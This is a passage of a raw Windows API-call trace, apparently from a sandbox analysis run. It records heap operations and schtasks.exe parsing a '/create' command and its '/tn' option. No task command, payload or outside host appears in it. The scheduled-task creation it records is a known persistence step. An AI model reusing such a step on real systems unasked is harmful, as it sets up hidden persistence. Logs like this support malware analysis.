lpMem=0x29c1a0) returned 1 [0151.680] GetProcessHeap () returned 0x280000 [0151.680] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29c1a0) returned 0x8 [0151.680] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29c1a0 | out: hHeap=0x280000) returned 1 [0151.680] GetProcessHeap () returned 0x280000 [0151.680] GetProcessHeap () returned 0x280000 [0151.680] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29cbb0) returned 1 [0151.680] GetProcessHeap () returned 0x280000 [0151.680] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29cbb0) returned 0x20 [0151.681] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29cbb0 | out: hHeap=0x280000) returned 1 [0151.681] GetProcessHeap () returned 0x280000 [0151.681] GetProcessHeap () returned 0x280000 [0151.681] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29d4a0) returned 1 [0151.681] GetProcessHeap () returned 0x280000 [0151.681] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29d4a0) returned 0x14 [0151.681] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29d4a0 | out: hHeap=0x280000) returned 1 [0151.681] GetProcessHeap () returned 0x280000 [0151.681] GetProcessHeap () returned 0x280000 [0151.681] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29cbe0) returned 1 [0151.681] GetProcessHeap () returned 0x280000 [0151.681] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29cbe0) returned 0x20 [0151.681] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29cbe0 | out: hHeap=0x280000) returned 1 [0151.681] GetProcessHeap () returned 0x280000 [0151.681] GetProcessHeap () returned 0x280000 [0151.681] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29dc70) returned 1 [0151.681] GetProcessHeap () returned 0x280000 [0151.682] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29dc70) returned 0x8 [0151.682] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29dc70 | out: hHeap=0x280000) returned 1 [0151.682] GetProcessHeap () returned 0x280000 [0151.682] GetProcessHeap () returned 0x280000 [0151.682] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29cc10) returned 1 [0151.682] GetProcessHeap () returned 0x280000 [0151.682] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29cc10) returned 0x20 [0151.682] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29cc10 | out: hHeap=0x280000) returned 1 [0151.682] GetProcessHeap () returned 0x280000 [0151.682] GetProcessHeap () returned 0x280000 [0151.682] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29d4c0) returned 1 [0151.682] GetProcessHeap () returned 0x280000 [0151.682] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29d4c0) returned 0xe [0151.682] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29d4c0 | out: hHeap=0x280000) returned 1 [0151.682] GetProcessHeap () returned 0x280000 [0151.682] GetProcessHeap () returned 0x280000 [0151.682] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29cc40) returned 1 [0151.682] GetProcessHeap () returned 0x280000 [0151.682] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29cc40) returned 0x20 [0151.683] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29cc40 | out: hHeap=0x280000) returned 1 [0151.683] GetProcessHeap () returned 0x280000 [0151.683] GetProcessHeap () returned 0x280000 [0151.683] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29dc90) returned 1 [0151.683] GetProcessHeap () returned 0x280000 [0151.683] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29dc90) returned 0x8 [0151.683] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29dc90 | out: hHeap=0x280000) returned 1 [0151.683] GetProcessHeap () returned 0x280000 [0151.683] GetProcessHeap () returned 0x280000 [0151.683] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29cc70) returned 1 [0151.683] GetProcessHeap () returned 0x280000 [0151.683] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29cc70) returned 0x20 [0151.683] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29cc70 | out: hHeap=0x280000) returned 1 [0151.683] GetProcessHeap () returned 0x280000 [0151.683] GetProcessHeap () returned 0x280000 [0151.683] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29dcb0) returned 1 [0151.684] GetProcessHeap () returned 0x280000 [0151.684] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29dcb0) returned 0x6 [0151.684] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29dcb0 | out: hHeap=0x280000) returned 1 [0151.684] GetProcessHeap () returned 0x280000 [0151.684] GetProcessHeap () returned 0x280000 [0151.684] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29cca0) returned 1 [0151.684] GetProcessHeap () returned 0x280000 [0151.684] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29cca0) returned 0x20 [0151.684] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29cca0 | out: hHeap=0x280000) returned 1 [0151.684] GetProcessHeap () returned 0x280000 [0151.684] GetProcessHeap () returned 0x280000 [0151.684] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29dcd0) returned 1 [0151.684] GetProcessHeap () returned 0x280000 [0151.684] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29dcd0) returned 0x8 [0151.684] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29dcd0 | out: hHeap=0x280000) returned 1 [0151.684] GetProcessHeap () returned 0x280000 [0151.684] GetProcessHeap () returned 0x280000 [0151.684] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29ccd0) returned 1 [0151.684] GetProcessHeap () returned 0x280000 [0151.684] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29ccd0) returned 0x20 [0151.685] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29ccd0 | out: hHeap=0x280000) returned 1 [0151.685] GetProcessHeap () returned 0x280000 [0151.685] GetProcessHeap () returned 0x280000 [0151.685] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29dd50) returned 1 [0151.685] GetProcessHeap () returned 0x280000 [0151.685] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29dd50) returned 0x4e [0151.685] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29dd50 | out: hHeap=0x280000) returned 1 [0151.685] GetProcessHeap () returned 0x280000 [0151.685] GetProcessHeap () returned 0x280000 [0151.685] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29cd00) returned 1 [0151.685] GetProcessHeap () returned 0x280000 [0151.685] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29cd00) returned 0x20 [0151.686] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29cd00 | out: hHeap=0x280000) returned 1 [0151.686] GetProcessHeap () returned 0x280000 [0151.686] GetProcessHeap () returned 0x280000 [0151.686] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29ddb0) returned 1 [0151.686] GetProcessHeap () returned 0x280000 [0151.686] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29ddb0) returned 0x6 [0151.686] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29ddb0 | out: hHeap=0x280000) returned 1 [0151.686] GetProcessHeap () returned 0x280000 [0151.686] GetProcessHeap () returned 0x280000 [0151.686] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29cd30) returned 1 [0151.686] GetProcessHeap () returned 0x280000 [0151.686] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29cd30) returned 0x20 [0151.686] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29cd30 | out: hHeap=0x280000) returned 1 [0151.686] GetProcessHeap () returned 0x280000 [0151.686] GetProcessHeap () returned 0x280000 [0151.686] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29b970) returned 1 [0151.686] GetProcessHeap () returned 0x280000 [0151.687] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29b970) returned 0x18 [0151.687] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29b970 | out: hHeap=0x280000) returned 1 [0151.688] SetLastError (dwErrCode=0x0) [0151.688] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0151.688] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0151.688] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0151.688] VerifyVersionInfoW (in: lpVersionInformation=0xbc290, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xbc290) returned 1 [0151.688] SetLastError (dwErrCode=0x0) [0151.688] lstrlenW (lpString="create") returned 6 [0151.688] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0151.688] SetLastError (dwErrCode=0x490) [0151.688] SetLastError (dwErrCode=0x0) [0151.688] lstrlenW (lpString="create") returned 6 [0151.688] GetProcessHeap () returned 0x280000 [0151.688] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29cd30 [0151.688] GetProcessHeap () returned 0x280000 [0151.688] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x18) returned 0x29d4c0 [0151.688] _memicmp (_Buf1=0x29d4c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.688] GetProcessHeap () returned 0x280000 [0151.688] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x16) returned 0x29d4a0 [0151.688] SetLastError (dwErrCode=0x0) [0151.688] _memicmp (_Buf1=0x29ba30, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.688] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x29bbd0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0151.689] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0151.689] GetProcessHeap () returned 0x280000 [0151.689] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x74e) returned 0x29dd50 [0151.689] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x29dd50 | out: lpData=0x29dd50) returned 1 [0151.690] VerQueryValueW (in: pBlock=0x29dd50, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xbc378, puLen=0xbc3e0 | out: lplpBuffer=0xbc378*=0x29e0ec, puLen=0xbc3e0) returned 1 [0151.690] _memicmp (_Buf1=0x29ba30, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.690] _vsnwprintf (in: _Buffer=0x29bbd0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xbc358 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0151.690] VerQueryValueW (in: pBlock=0x29dd50, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xbc3e8, puLen=0xbc3d8 | out: lplpBuffer=0xbc3e8*=0x29df18, puLen=0xbc3d8) returned 1 [0151.690] lstrlenW (lpString="schtasks.exe") returned 12 [0151.690] lstrlenW (lpString="schtasks.exe") returned 12 [0151.690] lstrlenW (lpString=".EXE") returned 4 [0151.690] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0151.690] lstrlenW (lpString="schtasks.exe") returned 12 [0151.690] lstrlenW (lpString=".EXE") returned 4 [0151.690] lstrlenW (lpString="schtasks") returned 8 [0151.690] lstrlenW (lpString="/create") returned 7 [0151.690] _memicmp (_Buf1=0x29ba30, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.690] _vsnwprintf (in: _Buffer=0x29bbd0, _BufferCount=0x19, _Format="%s %s", _ArgList=0xbc358 | out: _Buffer="schtasks /create") returned 16 [0151.690] _memicmp (_Buf1=0x29ba50, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.690] GetProcessHeap () returned 0x280000 [0151.690] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29cd00 [0151.690] _memicmp (_Buf1=0x29ba70, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.690] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x29d260, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0151.690] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0151.690] GetProcessHeap () returned 0x280000 [0151.690] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x30) returned 0x297a70 [0151.690] _vsnwprintf (in: _Buffer=0x29bfd0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xbc358 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0151.691] GetProcessHeap () returned 0x280000 [0151.691] GetProcessHeap () returned 0x280000 [0151.691] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29dd50) returned 1 [0151.691] GetProcessHeap () returned 0x280000 [0151.691] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29dd50) returned 0x74e [0151.691] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29dd50 | out: hHeap=0x280000) returned 1 [0151.691] SetLastError (dwErrCode=0x0) [0151.691] GetThreadLocale () returned 0x409 [0151.691] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.691] lstrlenW (lpString="create") returned 6 [0151.691] GetThreadLocale () returned 0x409 [0151.691] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.691] lstrlenW (lpString="?") returned 1 [0151.691] GetThreadLocale () returned 0x409 [0151.691] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.691] lstrlenW (lpString="s") returned 1 [0151.691] GetThreadLocale () returned 0x409 [0151.691] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.692] lstrlenW (lpString="u") returned 1 [0151.692] GetThreadLocale () returned 0x409 [0151.692] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.692] lstrlenW (lpString="p") returned 1 [0151.692] GetThreadLocale () returned 0x409 [0151.692] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.692] lstrlenW (lpString="ru") returned 2 [0151.692] GetThreadLocale () returned 0x409 [0151.692] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.692] lstrlenW (lpString="rp") returned 2 [0151.692] GetThreadLocale () returned 0x409 [0151.692] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.692] lstrlenW (lpString="sc") returned 2 [0151.692] GetThreadLocale () returned 0x409 [0151.692] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.692] lstrlenW (lpString="mo") returned 2 [0151.692] GetThreadLocale () returned 0x409 [0151.692] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.692] lstrlenW (lpString="d") returned 1 [0151.692] GetThreadLocale () returned 0x409 [0151.692] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.692] lstrlenW (lpString="m") returned 1 [0151.692] GetThreadLocale () returned 0x409 [0151.692] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.692] lstrlenW (lpString="i") returned 1 [0151.692] GetThreadLocale () returned 0x409 [0151.692] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.692] lstrlenW (lpString="tn") returned 2 [0151.692] GetThreadLocale () returned 0x409 [0151.693] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.693] lstrlenW (lpString="tr") returned 2 [0151.693] GetThreadLocale () returned 0x409 [0151.693] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.693] lstrlenW (lpString="st") returned 2 [0151.693] GetThreadLocale () returned 0x409 [0151.693] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.693] lstrlenW (lpString="sd") returned 2 [0151.693] GetThreadLocale () returned 0x409 [0151.693] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.693] lstrlenW (lpString="ed") returned 2 [0151.693] GetThreadLocale () returned 0x409 [0151.693] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.693] lstrlenW (lpString="it") returned 2 [0151.693] GetThreadLocale () returned 0x409 [0151.693] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.693] lstrlenW (lpString="et") returned 2 [0151.693] GetThreadLocale () returned 0x409 [0151.693] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.693] lstrlenW (lpString="k") returned 1 [0151.693] GetThreadLocale () returned 0x409 [0151.693] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.693] lstrlenW (lpString="du") returned 2 [0151.693] GetThreadLocale () returned 0x409 [0151.693] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.693] lstrlenW (lpString="ri") returned 2 [0151.693] GetThreadLocale () returned 0x409 [0151.693] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.693] lstrlenW (lpString="z") returned 1 [0151.693] GetThreadLocale () returned 0x409 [0151.694] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.694] lstrlenW (lpString="f") returned 1 [0151.694] GetThreadLocale () returned 0x409 [0151.694] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.694] lstrlenW (lpString="v1") returned 2 [0151.694] GetThreadLocale () returned 0x409 [0151.694] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.694] lstrlenW (lpString="xml") returned 3 [0151.694] GetThreadLocale () returned 0x409 [0151.694] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.694] lstrlenW (lpString="ec") returned 2 [0151.694] GetThreadLocale () returned 0x409 [0151.694] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.694] lstrlenW (lpString="rl") returned 2 [0151.694] GetThreadLocale () returned 0x409 [0151.694] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.694] lstrlenW (lpString="delay") returned 5 [0151.694] GetThreadLocale () returned 0x409 [0151.694] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0151.694] lstrlenW (lpString="np") returned 2 [0151.694] SetLastError (dwErrCode=0x0) [0151.694] SetLastError (dwErrCode=0x0) [0151.694] lstrlenW (lpString="/create") returned 7 [0151.694] lstrlenW (lpString="-/") returned 2 [0151.694] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0151.694] lstrlenW (lpString="create") returned 6 [0151.694] lstrlenW (lpString="create") returned 6 [0151.694] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.694] lstrlenW (lpString="create") returned 6 [0151.694] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.695] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|create|") returned 8 [0151.695] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|create|") returned 8 [0151.695] lstrlenW (lpString="|create|") returned 8 [0151.695] lstrlenW (lpString="|create|") returned 8 [0151.695] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0151.695] SetLastError (dwErrCode=0x0) [0151.695] SetLastError (dwErrCode=0x0) [0151.695] SetLastError (dwErrCode=0x0) [0151.695] lstrlenW (lpString="/tn") returned 3 [0151.695] lstrlenW (lpString="-/") returned 2 [0151.695] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0151.695] lstrlenW (lpString="create") returned 6 [0151.695] lstrlenW (lpString="create") returned 6 [0151.695] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.695] lstrlenW (lpString="tn") returned 2 [0151.695] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.695] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|create|") returned 8 [0151.695] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|tn|") returned 4 [0151.695] lstrlenW (lpString="|create|") returned 8 [0151.695] lstrlenW (lpString="|tn|") returned 4 [0151.695] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0151.695] SetLastError (dwErrCode=0x490) [0151.695] lstrlenW (lpString="?") returned 1 [0151.695] lstrlenW (lpString="?") returned 1 [0151.695] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.695] lstrlenW (lpString="tn") returned 2 [0151.695] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.696] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|?|") returned 3 [0151.696] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|tn|") returned 4 [0151.696] lstrlenW (lpString="|?|") returned 3 [0151.696] lstrlenW (lpString="|tn|") returned 4 [0151.696] SetLastError (dwErrCode=0x490) [0151.696] lstrlenW (lpString="s") returned 1 [0151.696] lstrlenW (lpString="s") returned 1 [0151.696] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.696] lstrlenW (lpString="tn") returned 2 [0151.696] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.696] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|s|") returned 3 [0151.696] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|tn|") returned 4 [0151.696] lstrlenW (lpString="|s|") returned 3 [0151.696] lstrlenW (lpString="|tn|") returned 4 [0151.696] SetLastError (dwErrCode=0x490) [0151.696] lstrlenW (lpString="u") returned 1 [0151.696] lstrlenW (lpString="u") returned 1 [0151.696] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.696] lstrlenW (lpString="tn") returned 2 [0151.696] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.696] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|u|") returned 3 [0151.696] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|tn|") returned 4 [0151.696] lstrlenW (lpString="|u|") returned 3 [0151.696] lstrlenW (lpString="|tn|") returned 4 [0151.696] SetLastError (dwErrCode=0x490) [0151.696] lstrlenW (lpString="p") returned 1 [0151.697] lstrlenW (lpString="p") returned 1 [0151.697] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.697] lstrlenW (lpString="tn") returned 2 [0151.697] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.697] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|p|") returned 3 [0151.697] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|tn|") returned 4 [0151.697] lstrlenW (lpString="|p|") returned 3 [0151.697] lstrlenW (lpString="|tn|") returned 4 [0151.697] SetLastError (dwErrCode=0x490) [0151.697] lstrlenW (lpString="ru") returned 2 [0151.697] lstrlenW (lpString="ru") returned 2 [0151.697] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.697] lstrlenW (lpString="tn") returned 2 [0151.697] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.697] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|ru|") returned 4 [0151.697] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|tn|") returned 4 [0151.697] lstrlenW (lpString="|ru|") returned 4 [0151.697] lstrlenW (lpString="|tn|") returned 4 [0151.697] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0151.697] SetLastError (dwErrCode=0x490) [0151.697] lstrlenW (lpString="rp") returned 2 [0151.697] lstrlenW (lpString="rp") returned 2 [0151.697] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.697] lstrlenW (lpString="tn") returned 2 [0151.697] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.697] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|rp|") returned 4 [0151.698] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|tn|") returned 4 [0151.698] lstrlenW (lpString="|rp|") returned 4 [0151.698] lstrlenW (lpString="|tn|") returned 4 [0151.698] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0151.698] SetLastError (dwErrCode=0x490) [0151.698] lstrlenW (lpString="sc") returned 2 [0151.698] lstrlenW (lpString="sc") returned 2 [0151.698] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.698] lstrlenW (lpString="tn") returned 2 [0151.698] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.698] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x5, 